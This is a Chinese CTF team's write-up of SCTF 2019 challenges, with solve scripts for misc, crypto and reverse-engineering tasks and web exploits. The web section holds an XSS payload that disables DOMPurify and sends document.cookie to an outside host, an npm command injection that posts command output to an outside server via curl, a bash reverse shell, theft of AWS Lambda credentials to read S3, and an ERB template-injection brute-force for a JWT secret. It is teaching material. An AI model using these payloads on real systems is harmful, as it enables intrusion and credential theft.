内容简介:De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
前排广告位
De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手
有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
De1ta是一个充满活力的CTF团队,成立至今的一年里,我们在不断变强,也在不断完善内部的制度,使得De1ta的每一位成员都能在技术和热情上保持提升,欢迎各位师傅的加入,尤其欢迎CTF新起之秀的加入。
Misc
关注公众号,cat /flag
头号玩家
一直往上走flag就出来了
sctf{You_Are_The_Ready_Player_One!!!For_Sure!!!}
Maaaaaaze
找迷宫中任意两点最大路径
最后答案是4056
把html处理一下,然后任意取一个点作为起点,扔到dfs里跑最长路径,等跑不动的时候拿当前最长路径的重点作为起点再扔进去跑,来回几次就得到4056了
exp.py
import sys sys.setrecursionlimit(100000) file = open("sctfmaze.txt") maze = [[0 for j in range(0, 100)] for i in range(0, 100)] vis = [[0 for j in range(0, 100)] for i in range(0, 100)] class Node: t = 0 r = 0 b = 0 l = 0 #print maze for line in file: a = line[:-1].split(" ") #print a n = Node() for i in range(2,len(a)): #print a[i], if a[i] == '0' : n.t = 1 if a[i] == '1' : n.r = 1 if a[i] == '2' : n.b = 1 if a[i] == '3' : n.l = 1 #print a[i], #print maze[int(a[0])][int(a[1])] = n #print a[0],a[1],maze[int(a[0])][int(a[1])].b #exit() def check(i,j): if i>=100 or i<0 or j>=100 or j<0: return False if vis[i][j] == 1: return False return True def printmap(): global vis for i in range(0,100): for j in range(0,100): if vis[i][j] == 1: print "%2d%2d" % (i,j) print " " maxx = 0 print maxx,i,j def dfs(i,j,n): global maxx global vis global maze n += 1 #print maxx,i,j,n,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l if n>maxx: print n,i,j #print n,i,j,maze[i][j].t,maze[i][j].r,maze[i][j].b,maze[i][j].l maxx = n if check(i-1,j) and maze[i][j].t == 0: vis[i-1][j] = 1 dfs(i-1,j,n) vis[i-1][j] = 0 if check(i,j+1) and maze[i][j].r == 0: vis[i][j+1] = 1 dfs(i,j+1,n) vis[i][j+1] = 0 if check(i+1,j) and maze[i][j].b == 0: vis[i+1][j] = 1 dfs(i+1,j,n) vis[i+1][j] = 0 if check(i,j-1) and maze[i][j].l == 0: vis[i][j-1] = 1 dfs(i,j-1,n) vis[i][j-1] = 0 vis[70][22] = 1 dfs(70,22,0) exit() for i in range(0,100): for j in range(0,100): #print i,j vis[i][j] = 1 dfs(i,j,0) vis[i][j] = 0
打开电动车
根据这篇文章
http://www.kb-iot.com/post/756.html
可知钥匙信号(PT224X) = 同步引导码(8bit) + 地址位(20bit) + 数据位(4bit) + 停止码(1bit)
用audacity打开信号文件,信号为 011101001010101001100010
这里题目截取到的信号中不包括同步码,前20位即为地址码,即为flag
sctf{01110100101010100110}
Crypto
babygame
题目首先需要proof_of_work,要求m和rsa加密m之后再解密的结果不相同,让m比n大即可绕过
进入系统之后有两个选项
1.随机生成三组不同的a,b,n,使用相同的e=3,使得c=pow(a*m+b,e,n),然后会给我们三组不同的a,b,n和c。最后再使用aes_ofb加密m,将结果也给我们。其中aes的iv和key都是随机生成的
2.我们需要输入aes_ofb加密之后的m的结果,其中m需要将其中的afternoon替换为morning,如果构造的正确则返回flag
解题思路:
1.通过Broadcast Attack with Linear Padding解出m为”I will send you the ticket tomorrow afternoon”
2.将m,修改后的m,以及aes_ofb加密之后的m的结果进行异或,得到的最终结果就是修改后的m进行aes_ofb加密之后的结果。将此结果发送给服务器便得到flag
sctf{7h15_ch4ll3n63_15_n07_h4rd_f0r_y0u_r16h7?}
解题脚本:
1.hastads.sage
def hastads(cArray,nArray,e=3): """ Performs Hastads attack on raw RSA with no padding. cArray = Ciphertext Array nArray = Modulus Array e = public exponent """ if(len(cArray)==len(nArray)==e): for i in range(e): cArray[i] = Integer(cArray[i]) nArray[i] = Integer(nArray[i]) M = crt(cArray,nArray) return(Integer(M).nth_root(e,truncate_mode=1)) else: print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent") def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8): """ Performs Hastads attack on raw RSA with no padding. This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i]) Where they are all encryptions of the same message. cArray = Ciphertext Array nArray = Modulus Array aArray = Array of 'slopes' for the linear padding bArray = Array of 'y-intercepts' for the linear padding e = public exponent """ if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e): for i in range(e): cArray[i] = Integer(cArray[i]) nArray[i] = Integer(nArray[i]) aArray[i] = Integer(aArray[i]) bArray[i] = Integer(bArray[i]) TArray = [-1]*e for i in range(e): arrayToCRT = [0]*e arrayToCRT[i] = 1 TArray[i] = crt(arrayToCRT,nArray) P.<x> = PolynomialRing(Zmod(prod(nArray))) gArray = [-1]*e for i in range(e): gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i]) g = sum(gArray) g = g.monic() # Use Sage's inbuilt coppersmith method roots = g.small_roots(epsilon=eps) if(len(roots)== 0): print("No Solutions found") return -1 return roots[0] else: print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," + "and the same size as the public exponent") def LinearPadding(): import random import binascii e = 3 nArr = [ 0x81e620887a13849d094251e5db9b9160d299d2233244876344c0b454c99f7baf9322aa90b371f59a8ed673f666137df1f1e92d86e7b036479a2519827a81c7648543e16d4d0a334d0aa1124ad4c794298c3a227abfe1d44470ad4649609630450cb83f42f68ff2c445aaf546483b7a2b0a6e5877634ace5e640f8d8cbdc6a379, 0x6c7c7935c58a586cf45e2e62ee51f6619ae2f6a7cef3865ed40a0d62ec31ba612e81045bcc6e50aa41d225b0f92b0d4a40051e2cf857ba61e91619e8fb3e2691d276c1abb5231c8012deb449e85752d2a02119bb186da6f7d41d704261284b395eec17ed4a2b07d1b97e34db8164e3093dd6cffbb0119ef8b3e9e960b0d96d05, 0x5e67f4953462f66d217e4bf80fd4f591cbe22a8a3eac42f681aea880f0f90e4a34aca250b01754dd49d3b7512011609f757cbaf8ae7c97d5894fb92fb36595aff4a1303d01e5c707284bbfdc20b8378e046650675353e471853fa294f779df7b1b3f7cbe1748c2109d22cea682b01cb2c7719df03783e66cc3e44889a002c517] cArr = [ 0x3512b763bab0b45b2c6941cccd550c8b2628cea0f162dc3902951e48115d58d16ea25075da6331617e7a4ac6062190f8ce91c65c91cff57a845a21d2ebd792b46bdcb666bc4aeab2232f990956084003b652664444ba0255dbab16620b2b232a1a4e6ec04e24249ff7ba33c70cb98c50d1f46bed076c53e2c95d0ec7dee5ad2f, 0x36bfe6fba6f34b93a0d2d44c890dfe44afc715a586bc1a44aa184571bb88a238187024b36b22a1f52a64f553fb52cf7ce193937e047307dd62e4c980601a3d20b1fbfe69888992726b11bf20330e48e4a64c6d4825d1c6d058d745f5a709c2ab5ac86da1feacf13e9de2237426b70a17a56d201b4743c68b70fdd4c7ce5eaa3, 0x4961ba65469dfc17e663af04dfb8eeee16c61df4f85971495d0c7e7061040602638963651791cfad28992312309c3179da27babf2a80fe41c062b21aa922da53bd793c614a0974ec5e5e18f9696df875e98aceef17d476d7615ea304e7e9869696711016151666f6b58f31241c590b3b313009434b444bcb7694bb8309d89475] aArr = [ 0xd0f458bc246d88f38e78076b36ad58981928594035b9e428401dc3ccf049a8012926dffb5be9fa225e8e128370581acc79ee24fa259d4ea895ce61d3d607ed2b, 0xfbedf9c34170262e2ed0eee7512e935715400a8ce541285c98e5269d2cdf4dc1aa81e117bf5d62a3310064376e8c3d5d5c4fa67e5a434ad93e5875eaa7be9545, 0xa2995200a4f252d7ba9959a3b7d51c4b138f3823869f71573f4ab61c581ce8879d40396a33ddc32a93fd100a1029dba53e41a0acbe9e023a0bf51c6e4ddc911d] bArr = [ 0xc2a6d47dc16824c86e92a9e88a931d215846052fe6787c11d0fcd9f4dde28f510707c33948290f69644a7fa64075d85e7761cfff3c627ee5156a03bd9f241c51, 0xc2343fdbb6a351b387174db494e03d0879bea084e65b16f3f0ad106472bd3974813aec28a01fcceeae00db6d38b6c32bb6ce900dff236ae9c5814ad089591115, 0xc4a2fb937c7441be58bfcb06208e0987423ab577041d0accf1f446545b9ebb7e4874fc56597ab1b842bb50e364a62f07a0afe7d6eff7a805361f8d3a12e79d65] randUpperBound = pow(2,500) msg = linearPaddingHastads(cArr,nArr,aArr,bArr,e=e,eps=1/8) msg = hex(int(msg))[2:] if(msg[-1]=='L'): msg = msg[:-1] if(len(msg)%2 == 1): msg = '0' + msg print(msg) print(binascii.unhexlify(msg)) if __name__ == '__main__': LinearPadding()
2.exp.py
HOST = "47.240.41.112" PORT = 54321 from Crypto.Util.strxor import strxor from pwn import * def pad(msg): pad_length = 16 - len(msg) % 16 return msg + chr(pad_length) * pad_length r = remote(HOST, PORT) ru = lambda x : r.recvuntil(x) rl = lambda : r.recvline() sl = lambda x : r.sendline(x) # Give a large number bigger than n to break proof_of_work ru('{65537, ') n = ru('L}').strip('L}') n = int(n[2:],16) ru('Give me something you want to encrypt:') sl(str(n**2)) # pad the message and target message we got in the first step msg = pad("I will send you the ticket tomorrow afternoon") target_msg = pad("I will send you the ticket tomorrow morning") ru('message') sl('1') ru('this:') message = ((ru('n').strip(' ')).strip('n')).decode('hex') ru('message') # message xor enc_message = middle_key_stream, middle_key_stream xor target_message = enc_target_message, so enc_target_message = xor(message,enc_message,target_message) enc_target_message = strxor(strxor(target_msg,message),msg).encode('hex') # choice 2 and send enc_target_message to get flag sl('2') ru('now:') sl(enc_target_message) flag = ru('}') print "[+]FLAG IS: "+flag r.close()
warmup
就是看函数unpad
def unpad(self, msg): return msg[:-ord(msg[-1])]
msg[-1]可以自己设置,也就是说。要满足:
msg = self.unpad(msg) if msg == 'please send me your flag':
不一定要msg是 'please send me your flag'+'x08'*8
后面还可以加一个16字节的,最后伪造成这样
'please send me your flag'+'A'*23+'x18'
这个也能满足:
然后就要把那些A换成一些其它的值,使得能通过这个条件:
if self.code(msg) == code:
个code函数就是每16位异或在一起,最后再进行一次确定性的加密。
已知的nc会给一个(明文,mac)对。记作(plaintext1,mac1)。
然后伪造一个(plaintext2,mac2)。让mac2=mac1,再让plaintext2每16位异或在一起的值和plaintext1每16位异或在一起的值相同就可以了。
回到这里 'please send me your flag'+'A'*23+'x18'
我们能控制最后一组16位中的前15个字符和倒数第二组15位的最后一个字符。
异或一下就可以知道那些’A’替换成什么了。然后发过去行了。
exp.py
#!/usr/bin/python # -*- coding: utf-8 -*- from Crypto.Cipher import AES from Crypto.Util.strxor import strxor from Crypto.Random import get_random_bytes from FLAG import flag def pad(msg): pad_length = 16 - len(msg) % 16 return msg + chr(pad_length) * pad_length iv = b'1'*16 message = b'see you at three o'clock tomorrow' message = iv+pad(message) res1 = bytes([0])*16 for i in range(len(message)/16): res1 = bytesxor(message[i*16:(i+1)*16], res1) message2 = 'please send me your flag' # len=24 message2 = iv+message2+7*b'x00'+b'x18' res2 = bytes([0])*16 for i in range(len(message)/16): res2 = bytesxor(message[i*16:(i+1)*16], res2) sig = bytesxor(res1,res2) sig1 = sig[:15] sig2 = sig[15:] final = iv+message2+7*b'x00'+sig2+sig1+b'x18'
sctf{y0u_4r3_7h3_4p3x_ch4mp10n}
Web
math-is-fun1
题目给了个在线编辑器
http://47.110.128.101/challenge?name=Challenger
可以提交一个url到服务器,结合hint确定是要xss了
http://47.110.128.101/send_message.html
启用了Dompurify,且配置文件 http://47.110.128.101/config 如下
({"SAFE_FOR_JQUERY":true,"ALLOWED_TAGS":["style","img","video"],"ALLOWE D_ATTR":["style","src","href"],"FORBID_TAGS":["base","svg","link","iframe","frame","embed"]})
分析了页面里的js代码,渲染流程如下:
1.服务器将name参数拼接到一个config类型的script标签中
2.读取上面那个标签的内容并解析然后给window[]赋值 (这里可以变量覆盖)
3.将config[name]拼接到textarea中
4.读取location.search中的text,URLdecode后覆盖textarea
5.监听textarea变化后会执行如下事件
6.读取textarea的内容
7.Dompurify过滤 (上面发的先知链接已经被修复)
8.markdown渲染 (不知道用的啥库)
9.latex渲染 (用的mathjax2.7.5不存在已知xss)
10.插入页面
猜测是要覆盖DOMPurify的某些变量,能够使其失效,翻看Dompurify的源码
https://github.com/cure53/DOMPurify/blob/c57dd450d8613fddfda67ad182526f371b4638fd/src/purify.js:966
当DOMPurify.isSupported为false,则能够绕过过滤
于是构造
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>alert(1)
把DOMPurify.isSupported设置为false,text参数的值就能直接插入页面中,造成xss
(这里不知道为啥直接 text=<script>alert(1)
就绕过csp弹窗了,可能是非预期
最后payload:
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
两题都可以用这个paylaod打
math-is-fun2
题解同上,
payload:
name=a;alert(1);%0aDOMPurify[%27isSupported%27]%3dfalse&text=<script>window.location.href%3d"http://xxxx.xxxx/?a%3d"%2bescape(document.cookie)
easy-web
用chrome可以看到webpack里有web接口相关信息
/upload接口可以打包nodejs库到zip并返回一个url给你下载
测试发现npm参数可以命令注入
POST /upload HTTP/1.1 Host: sctf2019.l0ca1.xyz Connection: close Content-Length: 173 Accept: application/json, text/plain, */* Origin: https://sctf2019.l0ca1.xyz User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Content-Type: application/json;charset=UTF-8 Referer: https://sctf2019.l0ca1.xyz/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 {"key":"abcdefghiklmn123","npm":[";curl http://xxx:8088/ -X POST -d "`ls -al`""]}
找了半天,服务器里啥也没有,把源码扒下来:
const koa = require("koa"); const AWS = require("aws-sdk"); const bodyparser = require('koa-bodyparser'); const Router = require('koa-router'); const async = require("async"); const archiver = require('archiver'); const fs = require("fs"); const cp = require("child_process"); const mount = require("koa-mount"); const cfg = { "Bucket":"static.l0ca1.xyz", "host":"static.l0ca1.xyz", } function getRandomStr(len) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var i = 0; i < len; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; }; function zip(archive, output, nodeModules) { const field_name = getRandomStr(20); fs.mkdirSync(`/tmp/${field_name}`); archive.pipe(output); return new Promise((res, rej) => { async.mapLimit(nodeModules, 10, (i, c) => { process.chdir(`/tmp/${field_name}`); console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`); cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => { if (error) { c(null, error); } else { c(null, stdout); } }); }, (error, results) => { archive.directory(`/tmp/${field_name}/`, false); archive.finalize(); }); output.on('close', function () { cp.exec(`rm -rf /tmp/${field_name}`, () => { res(""); }); }); archive.on("error", (e) => { cp.exec(`rm -rf /tmp/${field_name}`, () => { rej(e); }); }); }); } const s3Parme = { // accessKeyId:"xxxxxxxxxxxxxxxx", // secretAccessKey:"xxxxxxxxxxxxxxxxxxx", } var s3 = new AWS.S3(s3Parme); const app = new koa(); const router = new Router(); app.use(bodyparser()); app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static')))); router.get("/", async (ctx) => { return new Promise((resolve, reject) => { fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => { if (err) { ctx.throw("系统发生错误,请重试"); return; }; ctx.type = 'text/html'; ctx.body = data.toString(); resolve(); }); }); }) .post("/login",async(ctx)=>{ if(!ctx.request.body.email || !ctx.request.body.password){ ctx.throw(400,"参数错误"); return; } ctx.body = {isUser:false,message:"用户名或密码错误"}; return; }) .post("/upload", async (ctx) => { const parme = ctx.request.body; const nodeModules = parme.npm; const key = parme.key; if(typeof key == "undefined" || key!="abcdefghiklmn123"){ ctx.throw(403,"请求失败"); return; } if (typeof nodeModules == "undefined") { ctx.throw(400, "JSON 格式错误"); return; } const zipFileName = `${getRandomStr(20)}.zip`; var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" }); var archive = archiver('zip', { zlib: { level: 9 }, }); try { await zip(archive, output, nodeModules); } catch (e) { console.log(e); ctx.throw(400,"系统发生错误,请重试"); return; } const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`); const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{ console.log(e); ctx.throw(400,"系统发生错误,请重试"); return; }); ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`}; cp.execSync(`rm -f /tmp/${zipFileName}`); return; }) app.use(router.routes()); if (process.env && process.env.AWS_REGION) { require("dns").setServers(['8.8.8.8','8.8.4.4']); const serverless = require('serverless-http'); module.exports.handler = serverless(app, { binary: ['image/*', 'image/png', 'image/jpeg'] }); }else{ app.listen(3000,()=>{ console.log(`listening 3000......`); }); }N
后端接受参数后打包zip,然后传到了AWS s3里
因为服务器中啥也没找到,故猜测flag不在web服务器里,在static.l0ca1.xyz里,
也就是AWS s3里,那就要获取
const s3Parme = { // accessKeyId:"xxxxxxxxxxxxxxxx", // secretAccessKey:"xxxxxxxxxxxxxxxxxxx", }
记得AWS内网有地方可以看这个key
https://www.freebuf.com/articles/web/135313.html
http://www.52bug.cn/hkjs/5749.html
https://n0j.github.io/2017/10/02/aws-s3-ctf.html
https://www.jianshu.com/p/d34bbfc951fa
https://www.freebuf.com/articles/system/129667.html/var/task/.git/
反弹shell bash -i >& /dev/tcp//6666 0>& 几秒钟就会断开,但是时间够了
接着服务器上 node -e运行js,带着凭据直接访问s3,类似ssrf
const AWS = require("aws-sdk"); const s3 = new AWS.S3(); const bkt = s3.listObjects({Bucket: "static.l0ca1.xyz"}); bkt.promise().then((data)=>{ console.log(data) } );
const AWS = require("aws-sdk"); const s3 = new AWS.S3(); const flag = s3.getObject({Bucket: "static.l0ca1.xyz", Key: "flaaaaaaaaag/flaaaag.txt"}); flag.promise().then((data)=>{ console.log(data) } );
方法2:
https://www.freebuf.com/articles/network/189688.html
当一个AWS Lambda函数执行时,它会使用一个由开发者(IAM角色)提供的临时安全证书。此时需要从AWS STS(安全令牌服务)接收以下三个参数:
access key id
secret access key
token
这时候就能直接读取self/environ获得这三个东西,然后本地起开aws cli配置好key直接读s3就行了
flag shop
robots.txt提示/filebak,访问后拿到源码:
require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder, File.dirname(__FILE__) + '/static' FLAGPRICE = 1000000000000000000000000000 #ENV["SECRET"] = SecureRandom.hex(xx) configure do enable :logging file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+") file.sync = true use Rack::CommonLogger, file end get "/" do redirect '/shop', 302 end get "/filebak" do content_type :text erb IO.binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20} auth = JWT.encode payload,ENV["SECRET"] , 'HS256' cookies[:auth] = auth end get "/api/info" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]}) end get "/shop" do erb :shop end get "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result end end post "/shop" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } if auth[0]["jkl"] < FLAGPRICE then json({title: "error",message: "no enough jkl"}) else auth << {flag: ENV["FLAG"]} auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth json({title: "success",message: "jkl is good thing"}) end end def islogin if cookies[:auth].nil? then redirect to('/shop') end end
发现 ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
存在erb模版注入,构造 name为<%=$~%>,do为<%=$~%> is working
结合 ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
,
SECRET参数可控,如果匹配到SECRET,则 $~
(ruby特性,表示最近一次正则匹配结果) 会在页面中返回
于是可以爆破secret,然后伪造JWT去买flag。
爆破脚本如下:
import requests import base64 url = "http://47.110.15.101" re = requests.session() re.get(url + "/api/auth") flag = "09810e652ce9fa4882fe4875c" while True: i = "" for i in "0123456789abcdef": #now = flag + i now = i + flag res = re.get(url + "/work?name=%3c%25%3d%24%7e%25%3e&do=%3c%25%3d%24%7e%25%3e%20is%20working&SECRET="+now) if len(res.text) > 48: print res.text print flag flag = now break print flag
Re
Who is he
基于unity开发的游戏,实际只有一个视频播放器,输入框和一个确认框。
找了下资料,默认<Game>_dataManagedAssembly-CSharp.dll应该是存放主逻辑的地方。dnspy一把梭。
只是一个DES CBC模式的加密,密文密钥都有,初始iv和key相同。注意C#里面字符串默认是Unicode,密钥是”1234“,每个字符后面都要加”x00”。
import base64 from Crypto.Cipher import DES key = b"1x002x003x004x00" des = DES.new(key, mode = DES.MODE_CBC, iv = key) cipher = b"1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA==" cipher = base64.b64decode(cipher) plain = des.decrypt(cipher)[0:-8].decode("utf-16") print(plain)
解出来得到
He_P1ay_Basketball_Very_We11!Hahahahaha!
交一下发现不对,找了半天好像这个dll里没什么奇怪的地方了。
后面用ce,直接暴力搜索”Emmmmm”
搜到不止一个结果,在内存中查看一下有新的收获,这里base64的部分和之前dll里的不一样!一共有两个地方不同,先尝试直接解密。第一个得到:
Oh no!This is a trick!!!
第二个不知base64改了,key也改成了test。
解密之后得到:
She_P1ay_Black_Hole_Very_Wel1!LOL!XD!
提交正确。脚本:
import base64 from Crypto.Cipher import DES key = b"tx00ex00sx00tx00" # print(a) # print(key) des = DES.new(key, mode = DES.MODE_CBC, iv = key) a = b"xZWDZaKEhWNMCbiGYPBIlY3+arozO9zonwrYLiVL4njSez2RYM2WwsGnsnjCDnHs7N43aFvNE54noSadP9F8eEpvTs5QPG+KL0TDE/40nbU=" a = base64.b64decode(a) res = des.decrypt(a)[0:-6].decode("utf-16") print(res)
继续在ce的内存中翻找,可以看到pe头。把整个dll dump下来,再丢尽dnspy,可以看到内容基本一致。
Creakme
main开头第一个函数进行SMC。先查找区段.SCTF,然后调用DebugBreak下断点。猜测是通过调试器附加的方式来修改。之后进入 sub_402450
进行SMC。
很容易写个脚本还原:
from ida_bytes import get_bytes, patch_bytes st = 0x404000 key = map(ord,list("sycloversyclover")) for i in range(512): tmp = ord(get_bytes(st,1)) tmp^=key[i%16] tmp = ~tmp patch_bytes(st,chr(tmp)) st+=1
修改的函数 sub_404000
在接下来的 sub_4024A0
中被调用到,可以发现它将之后的一串字符串修改为base64字符串
后面加密部分,很容易看出AES CBC,密文密钥初始向量都有
from base64 import b64decode from Crypto.Cipher import AES key = b"sycloversyclover" iv = b"sctfsctfsctfsctf" aes = AES.new(key, mode = AES.MODE_CBC, iv = iv) res = b"nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo=" cipher = b64decode(res) tmp = aes.decrypt(cipher) print(tmp)
得到flag:
sctf{Ae3_C8c_I28_pKcs79ad4}
有几个简单的花指令。
主逻辑很清晰,三部分password。
第一部分为5*5*5的迷宫,wasd上下左右,xy在z轴方向上下移动。
***** *..** *..** ***** ***** ***** ****. *..** ***** **..* ****. ****. ..#*. ***** *...* ****. ***** .***. ***** ..*.* **s.. ***** .***. .**.. .**.*
直接看出路径来:
ddwwxxssxaxwwaasasyywwdd
第二部分就是base64
c2N0Zl85MTAy
第三部分为一个简单的对称加密,直接逆回来:
#include"stdio.h" #include"string.h" #define ROL(x, r) (((x) << (r)) | ((x) >> (32 - (r)))) #define ROR(x, r) (((x) >> (r)) | ((x) << (32 - (r)))) unsigned int a[288] = {0x0D6, 0x90, 0x0E9, 0x0FE, 0x0CC, 0x0E1, 0x3D, 0x0B7, 0x16, 0x0B6, 0x14, 0x0C2, 0x28, 0x0FB, 0x2C, 0x5, 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0x0BE, 0x4, 0x0C3, 0x0AA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9C, 0x42, 0x50, 0x0F4, 0x91, 0x0EF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0x0ED, 0x0CF, 0x0AC, 0x62, 0x0E4, 0x0B3, 0x1C, 0x0A9, 0x0C9, 0x8, 0x0E8, 0x95, 0x80, 0x0DF, 0x94, 0x0FA, 0x75, 0x8F, 0x3F, 0x0A6, 0x47, 0x7, 0x0A7, 0x0FC, 0x0F3, 0x73, 0x17, 0x0BA, 0x83, 0x59, 0x3C, 0x19, 0x0E6, 0x85, 0x4F, 0x0A8, 0x68, 0x6B, 0x81, 0x0B2, 0x71, 0x64, 0x0DA, 0x8B, 0x0F8, 0x0EB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0x0D1, 0x0A2, 0x25, 0x22, 0x7C, 0x3B, 0x1, 0x21, 0x78, 0x87, 0x0D4, 0x0, 0x46, 0x57, 0x9F, 0x0D3, 0x27, 0x52, 0x4C, 0x36, 0x2, 0x0E7, 0x0A0, 0x0C4, 0x0C8, 0x9E, 0x0EA, 0x0BF, 0x8A, 0x0D2, 0x40, 0x0C7, 0x38, 0x0B5, 0x0A3, 0x0F7, 0x0F2, 0x0CE, 0x0F9, 0x61, 0x15, 0x0A1, 0x0E0, 0x0AE, 0x5D, 0x0A4, 0x9B, 0x34, 0x1A, 0x55, 0x0AD, 0x93, 0x32, 0x30, 0x0F5, 0x8C, 0x0B1, 0x0E3, 0x1D, 0x0F6, 0x0E2, 0x2E, 0x82, 0x66, 0x0CA, 0x60, 0x0C0, 0x29, 0x23, 0x0AB, 0x0D, 0x53, 0x4E, 0x6F, 0x0D5, 0x0DB, 0x37, 0x45, 0x0DE, 0x0FD, 0x8E, 0x2F, 0x3, 0x0FF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51, 0x8D, 0x1B, 0x0AF, 0x92, 0x0BB, 0x0DD, 0x0BC, 0x7F, 0x11, 0x0D9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0x0D8, 0x0A, 0x0C1, 0x31, 0x88, 0x0A5, 0x0CD, 0x7B, 0x0BD, 0x2D, 0x74, 0x0D0, 0x12, 0x0B8, 0x0E5, 0x0B4, 0x0B0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0x0B9, 0x0F1, 0x9, 0x0C5, 0x6E, 0x0C6, 0x84, 0x18, 0x0F0, 0x7D, 0x0EC, 0x3A, 0x0DC, 0x4D, 0x20, 0x79, 0x0EE, 0x5F, 0x3E, 0x0D7, 0x0CB, 0x39, 0x48, 0x0C6, 0x0BA, 0x0B1, 0x0A3, 0x50, 0x33, 0x0AA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0x0DC, 0x22, 0x70, 0x0B2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}; unsigned int foo2(unsigned int a1) { unsigned v1; unsigned char byte[4]; byte[0] = a1&0xff; byte[1] = (a1>>8)&0xff; byte[2] = (a1>>16)&0xff; byte[3] = (a1>>24)&0xff; v1 = (a[byte[0]])|(a[byte[1]]<<8)|(a[byte[2]]<<16)|(a[byte[3]]<<24); return ROL(v1,12)^ROL(v1,8)^ROR(v1,2)^ROR(v1,6); } unsigned int foo(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4) { return a1 ^ foo2(a2^a3^a4); } int main() { unsigned int tmp[30] = {0}; unsigned int cipher[4] = {0xBE040680, 0xC5AF7647, 0x9FCC401F, 0xD8BF92EF}; memcpy(tmp+26,cipher,16); for(int i = 25;i>=0;i--) tmp[i] = foo(tmp[i+4],tmp[i+1],tmp[i+2],tmp[i+3]); tmp[4] = 0; printf("%sn",(char *)tmp); return 0; }
fl4g_is_s0_ug1y!
得到flag
sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}
strange apk
前12个chr
localObject2 = new StringBuilder(); ((StringBuilder)localObject2).append(paramAnonymousView); ((StringBuilder)localObject2).append(str.charAt(i)); paramAnonymousView = ((StringBuilder)localObject2).toString(); i++; if (((String)localObject2).equals("c2N0ZntXM2xjMG1l"))
>>> base64.b64decode("c2N0ZntXM2xjMG1l") 'sctf{W3lc0me'
有个data加密后的,直接虚拟机打开存着解密后的apk,拖下来直接分析。
后18个chr:
这里先用intent启动了其他class:
localObject1 = new Intent(); ((Intent)localObject1).putExtra("data_return", paramAnonymousView); s.this.setResult(-1, (Intent)localObject1); s.this.finish();
最后一段关键比较:
if (f.encode(paramIntent.getStringExtra("data_return"), (String)localObject1).equals("~8t808_8A8n848r808i8d8-8w808r8l8d8}8"))
这里生成MD5:
